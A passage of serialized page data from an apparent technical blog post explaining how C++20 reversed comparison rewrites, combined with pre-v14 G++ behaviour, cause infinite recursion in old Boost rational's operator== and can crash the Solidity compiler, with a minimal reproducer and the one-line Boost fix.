./test\n",[1274],{"type":23,"tag":37,"props":1275,"children":1276},{"__ignoreMap":7},[1277],{"type":23,"tag":41,"props":1278,"children":1279},{"class":43,"line":44},[1280,1285,1289,1293,1297,1301,1305],{"type":23,"tag":41,"props":1281,"children":1282},{"style":114},[1283],{"type":28,"value":1284},"clang++",{"type":23,"tag":41,"props":1286,"children":1287},{"style":735},[1288],{"type":28,"value":1223},{"type":23,"tag":41,"props":1290,"children":1291},{"style":735},[1292],{"type":28,"value":1228},{"type":23,"tag":41,"props":1294,"children":1295},{"style":735},[1296],{"type":28,"value":1233},{"type":23,"tag":41,"props":1298,"children":1299},{"style":735},[1300],{"type":28,"value":1238},{"type":23,"tag":41,"props":1302,"children":1303},{"style":70},[1304],{"type":28,"value":1243},{"type":23,"tag":41,"props":1306,"children":1307},{"style":114},[1308],{"type":28,"value":1248},{"type":23,"tag":24,"props":1310,"children":1311},{},[1312],{"type":28,"value":1313},"Output:",{"type":23,"tag":31,"props":1315,"children":1317},{"code":1316},"clang++ resolved member\n",[1318],{"type":23,"tag":37,"props":1319,"children":1320},{"__ignoreMap":7},[1321],{"type":28,"value":1316},{"type":23,"tag":24,"props":1323,"children":1324},{},[1325],{"type":28,"value":1326},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":23,"tag":442,"props":1328,"children":1329},{},[],{"type":23,"tag":446,"props":1331,"children":1333},{"id":1332},"part-ii-c20s-symmetric-comparison-feature",[1334],{"type":28,"value":1335},"Part II: C++20’s Symmetric Comparison Feature",{"type":23,"tag":546,"props":1337,"children":1339},{"id":1338},"what-changed-in-c20",[1340],{"type":28,"value":1341},"What Changed in C++20?",{"type":23,"tag":24,"props":1343,"children":1344},{},[1345,1347,1360,1362,1367],{"type":28,"value":1346},"C++20 introduced the ",{"type":23,"tag":458,"props":1348,"children":1351},{"href":1349,"rel":1350},"https://en.cppreference.com/w/cpp/language/operator_comparison",[462],[1352,1354],{"type":28,"value":1353},"spaceship operator ",{"type":23,"tag":37,"props":1355,"children":1357},{"className":1356},[],[1358],{"type":28,"value":1359},"\u003C=>",{"type":28,"value":1361}," and ",{"type":23,"tag":510,"props":1363,"children":1364},{},[1365],{"type":28,"value":1366},"defaulted comparison rewrites",{"type":28,"value":706},{"type":23,"tag":24,"props":1369,"children":1370},{},[1371,1373,1378],{"type":28,"value":1372},"When you define a two-argument ",{"type":23,"tag":37,"props":1374,"children":1376},{"className":1375},[],[1377],{"type":28,"value":570},{"type":28,"value":1379},", C++20 may implicitly define the \"reversed\" version:",{"type":23,"tag":417,"props":1381,"children":1382},{},[1383,1394],{"type":23,"tag":421,"props":1384,"children":1385},{},[1386,1388],{"type":28,"value":1387},"If you define: ",{"type":23,"tag":37,"props":1389,"children":1391},{"className":1390},[],[1392],{"type":28,"value":1393},"bool operator==(T1, T2);",{"type":23,"tag":421,"props":1395,"children":1396},{},[1397,1399,1405],{"type":28,"value":1398},"Then ",{"type":23,"tag":37,"props":1400,"children":1402},{"className":1401},[],[1403],{"type":28,"value":1404},"T2 == T1",{"type":28,"value":1406}," may call the same function by reversing the arguments.",{"type":23,"tag":24,"props":1408,"children":1409},{},[1410,1412,1417,1419,1424,1426,1432,1434,1439],{"type":28,"value":1411},"This rewrite is ",{"type":23,"tag":510,"props":1413,"children":1414},{},[1415],{"type":28,"value":1416},"recursive",{"type":28,"value":1418},": ",{"type":23,"tag":37,"props":1420,"children":1422},{"className":1421},[],[1423],{"type":28,"value":562},{"type":28,"value":1425}," becomes ",{"type":23,"tag":37,"props":1427,"children":1429},{"className":1428},[],[1430],{"type":28,"value":1431},"b == a",{"type":28,"value":1433},", which becomes ",{"type":23,"tag":37,"props":1435,"children":1437},{"className":1436},[],[1438],{"type":28,"value":562},{"type":28,"value":1440}," again, and so on — if not handled carefully.",{"type":23,"tag":24,"props":1442,"children":1443},{},[1444],{"type":28,"value":1445},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":23,"tag":442,"props":1447,"children":1448},{},[],{"type":23,"tag":446,"props":1450,"children":1452},{"id":1451},"part-iii-the-boost-trapdoor",[1453],{"type":28,"value":1454},"Part III: The Boost Trapdoor",{"type":23,"tag":24,"props":1456,"children":1457},{},[1458,1460,1466,1468,1473],{"type":28,"value":1459},"The old Boost ",{"type":23,"tag":37,"props":1461,"children":1463},{"className":1462},[],[1464],{"type":28,"value":1465},"rational",{"type":28,"value":1467}," class (prior to v1.75) defined both member function and non-member function of ",{"type":23,"tag":37,"props":1469,"children":1471},{"className":1470},[],[1472],{"type":28,"value":570},{"type":28,"value":1474},":",{"type":23,"tag":31,"props":1476,"children":1478},{"code":1477,"language":355,"meta":7,"className":356,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n    ...\npublic:\n    ...\n    \n    template \u003Cclass T>\n    BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n    {\n       return ((den == IntType(1)) && (num == i));\n    }\n    ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n      return a == b; \n}\n",[1479],{"type":23,"tag":37,"props":1480,"children":1481},{"__ignoreMap":7},[1482,1517,1540,1552,1560,1568,1575,1582,1590,1613,1704,1712,1766,1773,1780,1787,1794,1829,1837,1865,1904,1970,1977,2000],{"type":23,"tag":41,"props":1483,"children":1484},{"class":43,"line":44},[1485,1489,1493,1497,1501,1505,1509,1513],{"type":23,"tag":41,"props":1486,"children":1487},{"style":64},[1488],{"type":28,"value":753},{"type":23,"tag":41,"props":1490,"children":1491},{"style":70},[1492],{"type":28,"value":758},{"type":23,"tag":41,"props":1494,"children":1495},{"style":64},[1496],{"type":28,"value":781},{"type":23,"tag":41,"props":1498,"children":1499},{"style":94},[1500],{"type":28,"value":965},{"type":23,"tag":41,"props":1502,"children":1503},{"style":70},[1504],{"type":28,"value":970},{"type":23,"tag":41,"props":1506,"children":1507},{"style":64},[1508],{"type":28,"value":781},{"type":23,"tag":41,"props":1510,"children":1511},{"style":94},[1512],{"type":28,"value":768},{"type":23,"tag":41,"props":1514,"children":1515},{"style":70},[1516],{"type":28,"value":773},{"type":23,"tag":41,"props":1518,"children":1519},{"class":43,"line":54},[1520,1524,1528,1532,1536],{"type":23,"tag":41,"props":1521,"children":1522},{"style":64},[1523],{"type":28,"value":753},{"type":23,"tag":41,"props":1525,"children":1526},{"style":70},[1527],{"type":28,"value":758},{"type":23,"tag":41,"props":1529,"children":1530},{"style":64},[1531],{"type":28,"value":763},{"type":23,"tag":41,"props":1533,"children":1534},{"style":94},[1535],{"type":28,"value":768},{"type":23,"tag":41,"props":1537,"children":1538},{"style":70},[1539],{"type":28,"value":773},{"type":23,"tag":41,"props":1541,"children":1542},{"class":43,"line":76},[1543,1547],{"type":23,"tag":41,"props":1544,"children":1545},{"style":64},[1546],{"type":28,"value":781},{"type":23,"tag":41,"props":1548,"children":1549},{"style":94},[1550],{"type":28,"value":1551}," rational\n",{"type":23,"tag":41,"props":1553,"children":1554},{"class":43,"line":85},[1555],{"type":23,"tag":41,"props":1556,"children":1557},{"style":70},[1558],{"type":28,"value":1559},"{\n",{"type":23,"tag":41,"props":1561,"children":1562},{"class":43,"line":105},[1563],{"type":23,"tag":41,"props":1564,"children":1565},{"style":70},[1566],{"type":28,"value":1567},"    ...\n",{"type":23,"tag":41,"props":1569,"children":1570},{"class":43,"line":155},[1571],{"type":23,"tag":41,"props":1572,"children":1573},{"style":64},[1574],{"type":28,"value":798},{"type":23,"tag":41,"props":1576,"children":1577},{"class":43,"line":186},[1578],{"type":23,"tag":41,"props":1579,"children":1580},{"style":70},[1581],{"type":28,"value":1567},{"type":23,"tag":41,"props":1583,"children":1584},{"class":43,"line":195},[1585],{"type":23,"tag":41,"props":1586,"children":1587},{"style":70},[1588],{"type":28,"value":1589},"    \n",{"type":23,"tag":41,"props":1591,"children":1592},{"class":43,"line":905},[1593,1597,1601,1605,1609],{"type":23,"tag":41,"props":1594,"children":1595},{"style":64},[1596],{"type":28,"value":806},{"type":23,"tag":41,"props":1598,"children":1599},{"style":70},[1600],{"type":28,"value":758},{"type":23,"tag":41,"props":1602,"children":1603},{"style":64},[1604],{"type":28,"value":781},{"type":23,"tag":41,"props":1606,"children":1607},{"style":94},[1608],{"type":28,"value":819},{"type":23,"tag":41,"props":1610,"children":1611},{"style":70},[1612],{"type":28,"value":773},{"type":23,"tag":41,"props":1614,"children":1615},{"class":43,"line":922},[1616,1621,1625,1630,1635,1639,1643,1648,1653,1657,1661,1665,1670,1674,1679,1683,1687,1691,1695,1699],{"type":23,"tag":41,"props":1617,"children":1618},{"style":70},[1619],{"type":28,"value":1620},"    BOOST_CONSTEXPR ",{"type":23,"tag":41,"props":1622,"children":1623},{"style":64},[1624],{"type":28,"value":763},{"type":23,"tag":41,"props":1626,"children":1627},{"style":70},[1628],{"type":28,"value":1629}," boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003C",{"type":23,"tag":41,"props":1631,"children":1632},{"style":94},[1633],{"type":28,"value":1634},"T",{"type":23,"tag":41,"props":1636,"children":1637},{"style":70},[1638],{"type":28,"value":970},{"type":23,"tag":41,"props":1640,"children":1641},{"style":94},[1642],{"type":28,"value":1017},{"type":23,"tag":41,"props":1644,"children":1645},{"style":70},[1646],{"type":28,"value":1647},">::",{"type":23,"tag":41,"props":1649,"children":1650},{"style":94},[1651],{"type":28,"value":1652},"value",{"type":23,"tag":41,"props":1654,"children":1655},{"style":70},[1656],{"type":28,"value":970},{"type":23,"tag":41,"props":1658,"children":1659},{"style":64},[1660],{"type":28,"value":991},{"type":23,"tag":41,"props":1662,"children":1663},{"style":70},[1664],{"type":28,"value":1647},{"type":23,"tag":41,"props":1666,"children":1667},{"style":94},[1668],{"type":28,"value":1669},"type",{"type":23,"tag":41,"props":1671,"children":1672},{"style":64},[1673],{"type":28,"value":836},{"type":23,"tag":41,"props":1675,"children":1676},{"style":70},[1677],{"type":28,"value":1678},"== (",{"type":23,"tag":41,"props":1680,"children":1681},{"style":64},[1682],{"type":28,"value":846},{"type":23,"tag":41,"props":1684,"children":1685},{"style":94},[1686],{"type":28,"value":819},{"type":23,"tag":41,"props":1688,"children":1689},{"style":64},[1690],{"type":28,"value":855},{"type":23,"tag":41,"props":1692,"children":1693},{"style":858},[1694],{"type":28,"value":861},{"type":23,"tag":41,"props":1696,"children":1697},{"style":70},[1698],{"type":28,"value":866},{"type":23,"tag":41,"props":1700,"children":1701},{"style":64},[1702],{"type":28,"value":1703},"const\n",{"type":23,"tag":41,"props":1705,"children":1706},{"class":43,"line":930},[1707],{"type":23,"tag":41,"props":1708,"children":1709},{"style":70},[1710],{"type":28,"value":1711},"    {\n",{"type":23,"tag":41,"props":1713,"children":1714},{"class":43,"line":939},[1715,1720,1725,1729,1733,1738,1742,1747,1752,1757,1761],{"type":23,"tag":41,"props":1716,"children":1717},{"style":58},[1718],{"type":28,"value":1719},"       return",{"type":23,"tag":41,"props":1721,"children":1722},{"style":70},[1723],{"type":28,"value":1724}," ((den ",{"type":23,"tag":41,"props":1726,"children":1727},{"style":170},[1728],{"type":28,"value":387},{"type":23,"tag":41,"props":1730,"children":1731},{"style":114},[1732],{"type":28,"value":768},{"type":23,"tag":41,"props":1734,"children":1735},{"style":70},[1736],{"type":28,"value":1737},"(",{"type":23,"tag":41,"props":1739,"children":1740},{"style":164},[1741],{"type":28,"value":317},{"type":23,"tag":41,"props":1743,"children":1744},{"style":70},[1745],{"type":28,"value":1746},")) ",{"type":23,"tag":41,"props":1748,"children":1749},{"style":170},[1750],{"type":28,"value":1751},"&&",{"type":23,"tag":41,"props":1753,"children":1754},{"style":70},[1755],{"type":28,"value":1756}," (num ",{"type":23,"tag":41,"props":1758,"children":1759},{"style":170},[1760],{"type":28,"value":387},{"type":23,"tag":41,"props":1762,"children":1763},{"style":70},[1764],{"type":28,"value":1765}," i));\n",{"type":23,"tag":41,"props":1767,"children":1768},{"class":43,"line":947},[1769],{"type":23,"tag":41,"props":1770,"children":1771},{"style":70},[1772],{"type":28,"value":192},{"type":23,"tag":41,"props":1774,"children":1775},{"class":43,"line":985},[1776],{"type":23,"tag":41,"props":1777,"children":1778},{"style":70},[1779],{"type":28,"value":1567},{"type":23,"tag":41,"props":1781,"children":1782},{"class":43,"line":1058},[1783],{"type":23,"tag":41,"props":1784,"children":1785},{"style":70},[1786],{"type":28,"value":201},{"type":23,"tag":41,"props":1788,"children":1789},{"class":43,"line":1084},[1790],{"type":23,"tag":41,"props":1791,"children":1792},{"emptyLinePlaceholder":18},[1793],{"type":28,"value":82},{"type":23,"tag":41,"props":1795,"children":1796},{"class":43,"line":1102},[1797,1801,1805,1809,1813,1817,1821,1825],{"type":23,"tag":41,"props":1798,"children":1799},{"style":64},[1800],{"type":28,"value":753},{"type":23,"tag":41,"props":1802,"children":1803},{"style":70},[1804],{"type":28,"value":758},{"type":23,"tag":41,"props":1806,"children":1807},{"style":64},[1808],{"type":28,"value":781},{"type":23,"tag":41,"props":1810,"children":1811},{"style":94},[1812],{"type":28,"value":965},{"type":23,"tag":41,"props":1814,"children":1815},{"style":70},[1816],{"type":28,"value":970},{"type":23,"tag":41,"props":1818,"children":1819},{"style":64},[1820],{"type":28,"value":781},{"type":23,"tag":41,"props":1822,"children":1823},{"style":94},[1824],{"type":28,"value":768},{"type":23,"tag":41,"props":1826,"children":1827},{"style":70},[1828],{"type":28,"value":773},{"type":23,"tag":41,"props":1830,"children":1831},{"class":43,"line":1110},[1832],{"type":23,"tag":41,"props":1833,"children":1834},{"style":70},[1835],{"type":28,"value":1836},"BOOST_CONSTEXPR\n",{"type":23,"tag":41,"props":1838,"children":1839},{"class":43,"line":1118},[1840,1845,1850,1855,1860],{"type":23,"tag":41,"props":1841,"children":1842},{"style":64},[1843],{"type":28,"value":1844},"inline",{"type":23,"tag":41,"props":1846,"children":1847},{"style":64},[1848],{"type":28,"value":1849}," typename",{"type":23,"tag":41,"props":1851,"children":1852},{"style":70},[1853],{"type":28,"value":1854}," boost::",{"type":23,"tag":41,"props":1856,"children":1857},{"style":94},[1858],{"type":28,"value":1859},"enable_if_c",{"type":23,"tag":41,"props":1861,"children":1862},{"style":170},[1863],{"type":28,"value":1864}," \u003C\n",{"type":23,"tag":41,"props":1866,"children":1867},{"class":43,"line":1137},[1868,1873,1878,1882,1886,1891,1895,1899],{"type":23,"tag":41,"props":1869,"children":1870},{"style":70},[1871],{"type":28,"value":1872},"   rational_detail::is_compatible_integer\u003C",{"type":23,"tag":41,"props":1874,"children":1875},{"style":94},[1876],{"type":28,"value":1877},"Arg",{"type":23,"tag":41,"props":1879,"children":1880},{"style":70},[1881],{"type":28,"value":970},{"type":23,"tag":41,"props":1883,"children":1884},{"style":94},[1885],{"type":28,"value":1017},{"type":23,"tag":41,"props":1887,"children":1888},{"style":70},[1889],{"type":28,"value":1890},">::value, ",{"type":23,"tag":41,"props":1892,"children":1893},{"style":64},[1894],{"type":28,"value":991},{"type":23,"tag":41,"props":1896,"children":1897},{"style":170},[1898],{"type":28,"value":1022},{"type":23,"tag":41,"props":1900,"children":1901},{"style":70},[1902],{"type":28,"value":1903},"::type\n",{"type":23,"tag":41,"props":1905,"children":1906},{"class":43,"line":1163},[1907,1912,1917,1921,1925,1929,1933,1937,1941,1945,1949,1953,1957,1961,1965],{"type":23,"tag":41,"props":1908,"children":1909},{"style":64},[1910],{"type":28,"value":1911},"   operator",{"type":23,"tag":41,"props":1913,"children":1914},{"style":70},[1915],{"type":28,"value":1916}," == (",{"type":23,"tag":41,"props":1918,"children":1919},{"style":64},[1920],{"type":28,"value":846},{"type":23,"tag":41,"props":1922,"children":1923},{"style":94},[1924],{"type":28,"value":965},{"type":23,"tag":41,"props":1926,"children":1927},{"style":64},[1928],{"type":28,"value":855},{"type":23,"tag":41,"props":1930,"children":1931},{"style":858},[1932],{"type":28,"value":1051},{"type":23,"tag":41,"props":1934,"children":1935},{"style":70},[1936],{"type":28,"value":970},{"type":23,"tag":41,"props":1938,"children":1939},{"style":64},[1940],{"type":28,"value":846},{"type":23,"tag":41,"props":1942,"children":1943},{"style":94},[1944],{"type":28,"value":786},{"type":23,"tag":41,"props":1946,"children":1947},{"style":70},[1948],{"type":28,"value":1012},{"type":23,"tag":41,"props":1950,"children":1951},{"style":94},[1952],{"type":28,"value":1017},{"type":23,"tag":41,"props":1954,"children":1955},{"style":70},[1956],{"type":28,"value":1022},{"type":23,"tag":41,"props":1958,"children":1959},{"style":64},[1960],{"type":28,"value":855},{"type":23,"tag":41,"props":1962,"children":1963},{"style":858},[1964],{"type":28,"value":117},{"type":23,"tag":41,"props":1966,"children":1967},{"style":70},[1968],{"type":28,"value":1969},")\n",{"type":23,"tag":41,"props":1971,"children":1972},{"class":43,"line":1188},[1973],{"type":23,"tag":41,"props":1974,"children":1975},{"style":70},[1976],{"type":28,"value":1559},{"type":23,"tag":41,"props":1978,"children":1980},{"class":43,"line":1979},23,[1981,1986,1991,1995],{"type":23,"tag":41,"props":1982,"children":1983},{"style":58},[1984],{"type":28,"value":1985},"      return",{"type":23,"tag":41,"props":1987,"children":1988},{"style":70},[1989],{"type":28,"value":1990}," a ",{"type":23,"tag":41,"props":1992,"children":1993},{"style":170},[1994],{"type":28,"value":387},{"type":23,"tag":41,"props":1996,"children":1997},{"style":70},[1998],{"type":28,"value":1999}," b; \n",{"type":23,"tag":41,"props":2001,"children":2003},{"class":43,"line":2002},24,[2004],{"type":23,"tag":41,"props":2005,"children":2006},{"style":70},[2007],{"type":28,"value":201},{"type":23,"tag":24,"props":2009,"children":2010},{},[2011,2013,2019],{"type":28,"value":2012},"This was designed under C++17 semantics. Back then, ",{"type":23,"tag":37,"props":2014,"children":2016},{"className":2015},[],[2017],{"type":28,"value":2018},"rhs == lhs",{"type":28,"value":2020}," would fall back to member overloads if available. All good.",{"type":23,"tag":24,"props":2022,"children":2023},{},[2024,2026,2031,2033,2039],{"type":28,"value":2025},"But under ",{"type":23,"tag":37,"props":2027,"children":2029},{"className":2028},[],[2030],{"type":28,"value":514},{"type":28,"value":2032}," with ",{"type":23,"tag":37,"props":2034,"children":2036},{"className":2035},[],[2037],{"type":28,"value":2038},"G++ \u003C 14",{"type":28,"value":1474},{"type":23,"tag":417,"props":2041,"children":2042},{},[2043,2048,2053,2058],{"type":23,"tag":421,"props":2044,"children":2045},{},[2046],{"type":28,"value":2047},"G++ incorrectly chooses this non-member operator first",{"type":23,"tag":421,"props":2049,"children":2050},{},[2051],{"type":28,"value":2052},"C++20 reverses the comparison",{"type":23,"tag":421,"props":2054,"children":2055},{},[2056],{"type":28,"value":2057},"Which calls the same function again with arguments flipped",{"type":23,"tag":421,"props":2059,"children":2060},{},[2061],{"type":28,"value":2062},"And so on...",{"type":23,"tag":24,"props":2064,"children":2065},{},[2066,2068,2073],{"type":28,"value":2067},"This creates ",{"type":23,"tag":510,"props":2069,"children":2070},{},[2071],{"type":28,"value":2072},"infinite recursion",{"type":28,"value":706},{"type":23,"tag":24,"props":2075,"children":2076},{},[2077],{"type":28,"value":2078},"A minimal example:",{"type":23,"tag":31,"props":2080,"children":2082},{"code":2081,"language":355,"meta":7,"className":356,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n    boost::rational\u003Cint> r;\n    return r == 0;\n}\n",[2083],{"type":23,"tag":37,"props":2084,"children":2085},{"__ignoreMap":7},[2086,2094,2106,2113,2128,2152,2175],{"type":23,"tag":41,"props":2087,"children":2088},{"class":43,"line":44},[2089],{"type":23,"tag":41,"props":2090,"children":2091},{"style":48},[2092],{"type":28,"value":2093},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":23,"tag":41,"props":2095,"children":2096},{"class":43,"line":54},[2097,2101],{"type":23,"tag":41,"props":2098,"children":2099},{"style":58},[2100],{"type":28,"value":732},{"type":23,"tag":41,"props":2102,"children":2103},{"style":735},[2104],{"type":28,"value":2105}," \u003Cboost/rational.hpp>\n",{"type":23,"tag":41,"props":2107,"children":2108},{"class":43,"line":76},[2109],{"type":23,"tag":41,"props":2110,"children":2111},{"emptyLinePlaceholder":18},[2112],{"type":28,"value":82},{"type":23,"tag":41,"props":2114,"children":2115},{"class":43,"line":85},[2116,2120,2124],{"type":23,"tag":41,"props":2117,"children":2118},{"style":64},[2119],{"type":28,"value":1124},{"type":23,"tag":41,"props":2121,"children":2122},{"style":114},[2123],{"type":28,"value":1129},{"type":23,"tag":41,"props":2125,"children":2126},{"style":70},[2127],{"type":28,"value":1134},{"type":23,"tag":41,"props":2129,"children":2130},{"class":43,"line":105},[2131,2136,2140,2144,2148],{"type":23,"tag":41,"props":2132,"children":2133},{"style":70},[2134],{"type":28,"value":2135},"    boost::rational",{"type":23,"tag":41,"props":2137,"children":2138},{"style":170},[2139],{"type":28,"value":1012},{"type":23,"tag":41,"props":2141,"children":2142},{"style":64},[2143],{"type":28,"value":1124},{"type":23,"tag":41,"props":2145,"children":2146},{"style":170},[2147],{"type":28,"value":1022},{"type":23,"tag":41,"props":2149,"children":2150},{"style":70},[2151],{"type":28,"value":1160},{"type":23,"tag":41,"props":2153,"children":2154},{"class":43,"line":155},[2155,2159,2163,2167,2171],{"type":23,"tag":41,"props":2156,"children":2157},{"style":58},[2158],{"type":28,"value":1090},{"type":23,"tag":41,"props":2160,"children":2161},{"style":70},[2162],{"type":28,"value":1173},{"type":23,"tag":41,"props":2164,"children":2165},{"style":170},[2166],{"type":28,"value":387},{"type":23,"tag":41,"props":2168,"children":2169},{"style":164},[2170],{"type":28,"value":392},{"type":23,"tag":41,"props":2172,"children":2173},{"style":70},[2174],{"type":28,"value":183},{"type":23,"tag":41,"props":2176,"children":2177},{"class":43,"line":186},[2178],{"type":23,"tag":41,"props":2179,"children":2180},{"style":70},[2181],{"type":28,"value":201},{"type":23,"tag":24,"props":2183,"children":2184},{},[2185],{"type":28,"value":2186},"Expected output: nothing.",{"type":23,"tag":24,"props":2188,"children":2189},{},[2190],{"type":28,"value":2191},"Actual: segmentation fault (stack overflow).",{"type":23,"tag":24,"props":2193,"children":2194},{},[2195,2197,2204],{"type":28,"value":2196},"This exact pattern was ",{"type":23,"tag":458,"props":2198,"children":2201},{"href":2199,"rel":2200},"https://github.com/boostorg/rational/issues/43",[462],[2202],{"type":28,"value":2203},"reported and fixed in Boost rational",{"type":28,"value":2205},", but only in version 1.75+.",{"type":23,"tag":24,"props":2207,"children":2208},{},[2209],{"type":28,"value":2210},"Here’s the one-line fix:",{"type":23,"tag":31,"props":2212,"children":2216},{"code":2213,"language":2214,"meta":7,"className":2215,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n   operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n-     return a == b;\n+     return a.operator==(b);\n}\n","diff","language-diff shiki shiki-themes slack-dark",[2217],{"type":23,"tag":37,"props":2218,"children":2219},{"__ignoreMap":7},[2220,2228,2235,2243,2251,2259,2266,2274,2282],{"type":23,"tag":41,"props":2221,"children":2222},{"class":43,"line":44},[2223],{"type":23,"tag":41,"props":2224,"children":2225},{"style":70},[2226],{"type":28,"value":2227},"template \u003Cclass Arg, class IntType>\n",{"type":23,"tag":41,"props":2229,"children":2230},{"class":43,"line":54},[2231],{"type":23,"tag":41,"props":2232,"children":2233},{"style":70},[2234],{"type":28,"value":1836},{"type":23,"tag":41,"props":2236,"children":2237},{"class":43,"line":76},[2238],{"type":23,"tag":41,"props":2239,"children":2240},{"style":70},[2241],{"type":28,"value":2242},"inline typename boost::enable_if_c \u003C\n",{"type":23,"tag":41,"props":2244,"children":2245},{"class":43,"line":85},[2246],{"type":23,"tag":41,"props":2247,"children":2248},{"style":70},[2249],{"type":28,"value":2250},"   rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":23,"tag":41,"props":2252,"children":2253},{"class":43,"line":105},[2254],{"type":23,"tag":41,"props":2255,"children":2256},{"style":70},[2257],{"type":28,"value":2258},"   operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":23,"tag":41,"props":2260,"children":2261},{"class":43,"line":155},[2262],{"type":23,"tag":41,"props":2263,"children":2264},{"style":70},[2265],{"type":28,"value":1559},{"type":23,"tag":41,"props":2267,"children":2268},{"class":43,"line":186},[2269],{"type":23,"tag":41,"props":2270,"children":2271},{"style":735},[2272],{"type":28,"value":2273},"-     return a == b;\n",{"type":23,"tag":41,"props":2275,"children":2276},{"class":43,"line":195},[2277],{"type":23,"tag":41,"props":2278,"children":2279},{"style":164},[2280],{"type":28,"value":2281},"+     return a.operator==(b);\n",{"type":23,"tag":41,"props":2283,"children":2284},{"class":43,"line":905},[2285],{"type":23,"tag":41,"props":2286,"children":2287},{"style":70},[2288],{"type":28,"value":201},{"type":23,"tag":24,"props":2290,"children":2291},{},[2292,2294,2299,2301,2306],{"type":28,"value":2293},"Instead of calling ",{"type":23,"tag":37,"props":2295,"children":2297},{"className":2296},[],[2298],{"type":28,"value":562},{"type":28,"value":2300}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":23,"tag":37,"props":2302,"children":2304},{"className":2303},[],[2305],{"type":28,"value":570},{"type":28,"value":706},{"type":23,"tag":24,"props":2308,"children":2309},{},[2310],{"type":28,"value":2311},"This prevents C++20 from triggering recursive rewrites.",{"type":23,"tag":442,"props":2313,"children":2314},{},[],{"type":23,"tag":446,"props":2316,"children":2318},{"id":2317},"part-iv-how-this-breaks-solidity",[2319],{"type":28,"value":2320},"Part IV: How This Breaks Solidity",{"type":23,"tag":24,"props":2322,"children":2323},{},[2324,2326,2331],{"type":28,"value":2325},"The Solidity codebase uses ",{"type":23,"tag":37,"props":2327,"children":2329},{"className":2328},[],[2330],{"type":28,"value":408},{"type":28,"value":2332}," to represent certain compile-time constant expressions.",{"type":23,"tag":24,"props":2334,"children":2335},{},[2336,2338,2344],{"type":28,"value":2337},"One snippet that can trigger this issue appears in ",{"type":23,"tag":37,"props":2339,"children":2341},{"className":2340},[],[2342],{"type":28,"value":2343},"DeclarationTypeChecker::endVisit",{"type":28,"value":1474},{"type":23,"tag":31,"props":2346,"children":2348},{"code":2347,"language":355,"meta":7,"className":356,"style":7},"if (Expression const* length = _typeName.length()) {\n    std::optional\u003Crational> lengthValue;\n\n    if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n        ...\n    else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n        lengthValue = value->value;\n\n    if (!lengthValue)\n        ...\n    else if (*lengthValue == 0)  // \u003C-- Infinite recursion happens here\n        ...\n}\n",[2349],{"type":23,"tag":37,"props":2350,"children":2351},{"__ignoreMap":7},[2352,2401,2426,2433,2516,2524,2579,2608,2615,2636,2643,2684,2691],{"type":23,"tag":41,"props":2353,"children":2354},{"class":43,"line":44},[2355,2359,2364,2368,2372,2377,2382,2387,2391,2396],{"type":23,"tag":41,"props":2356,"children":2357},{"style":58},[2358],{"type":28,"value":368},{"type":23,"tag":41,"props":2360,"children":2361},{"style":70},[2362],{"type":28,"value":2363}," (Expression ",{"type":23,"tag":41,"props":2365,"children":2366},{"style":64},[2367],{"type":28,"value":846},{"type":23,"tag":41,"props":2369,"children":2370},{"style":170},[2371],{"type":28,"value":377},{"type":23,"tag":41,"props":2373,"children":2374},{"style":70},[2375],{"type":28,"value":2376}," length ",{"type":23,"tag":41,"props":2378,"children":2379},{"style":170},[2380],{"type":28,"value":2381},"=",{"type":23,"tag":41,"props":2383,"children":2384},{"style":858},[2385],{"type":28,"value":2386}," _typeName",{"type":23,"tag":41,"props":2388,"children":2389},{"style":70},[2390],{"type":28,"value":706},{"type":23,"tag":41,"props":2392,"children":2393},{"style":114},[2394],{"type":28,"value":2395},"length",{"type":23,"tag":41,"props":2397,"children":2398},{"style":70},[2399],{"type":28,"value":2400},"()) {\n",{"type":23,"tag":41,"props":2402,"children":2403},{"class":43,"line":54},[2404,2409,2413,2417,2421],{"type":23,"tag":41,"props":2405,"children":2406},{"style":70},[2407],{"type":28,"value":2408},"    std::optional",{"type":23,"tag":41,"props":2410,"children":2411},{"style":170},[2412],{"type":28,"value":1012},{"type":23,"tag":41,"props":2414,"children":2415},{"style":70},[2416],{"type":28,"value":1465},{"type":23,"tag":41,"props":2418,"children":2419},{"style":170},[2420],{"type":28,"value":1022},{"type":23,"tag":41,"props":2422,"children":2423},{"style":70},[2424],{"type":28,"value":2425}," lengthValue;\n",{"type":23,"tag":41,"props":2427,"children":2428},{"class":43,"line":76},[2429],{"type":23,"tag":41,"props":2430,"children":2431},{"emptyLinePlaceholder":18},[2432],{"type":28,"value":82},{"type":23,"tag":41,"props":2434,"children":2435},{"class":43,"line":85},[2436,2441,2445,2449,2454,2459,2464,2468,2473,2478,2482,2486,2490,2494,2498,2503,2507,2511],{"type":23,"tag":41,"props":2437,"children":2438},{"style":58},[2439],{"type":28,"value":2440},"    